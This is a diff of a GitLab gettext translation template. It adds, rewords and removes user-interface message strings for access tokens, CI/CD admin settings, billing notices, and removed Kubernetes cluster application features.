+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1783,16 +1786,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1912,6 +1915,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1921,6 +1927,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1984,6 +1993,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2110,6 +2122,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2344,9 +2359,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2359,19 +2371,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2383,7 +2398,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2392,10 +2407,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2806,9 +2818,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3027,12 +3051,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3159,9 +3189,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3228,6 +3255,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3387,9 +3417,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3462,9 +3489,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3516,6 +3540,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3606,6 +3633,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3762,9 +3792,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4041,9 +4068,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4133,15 +4157,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4527,9 +4545,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4718,9 +4733,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5108,6 +5120,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5250,6 +5265,9 @@ msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
msgstr[1] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5309,6 +5327,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
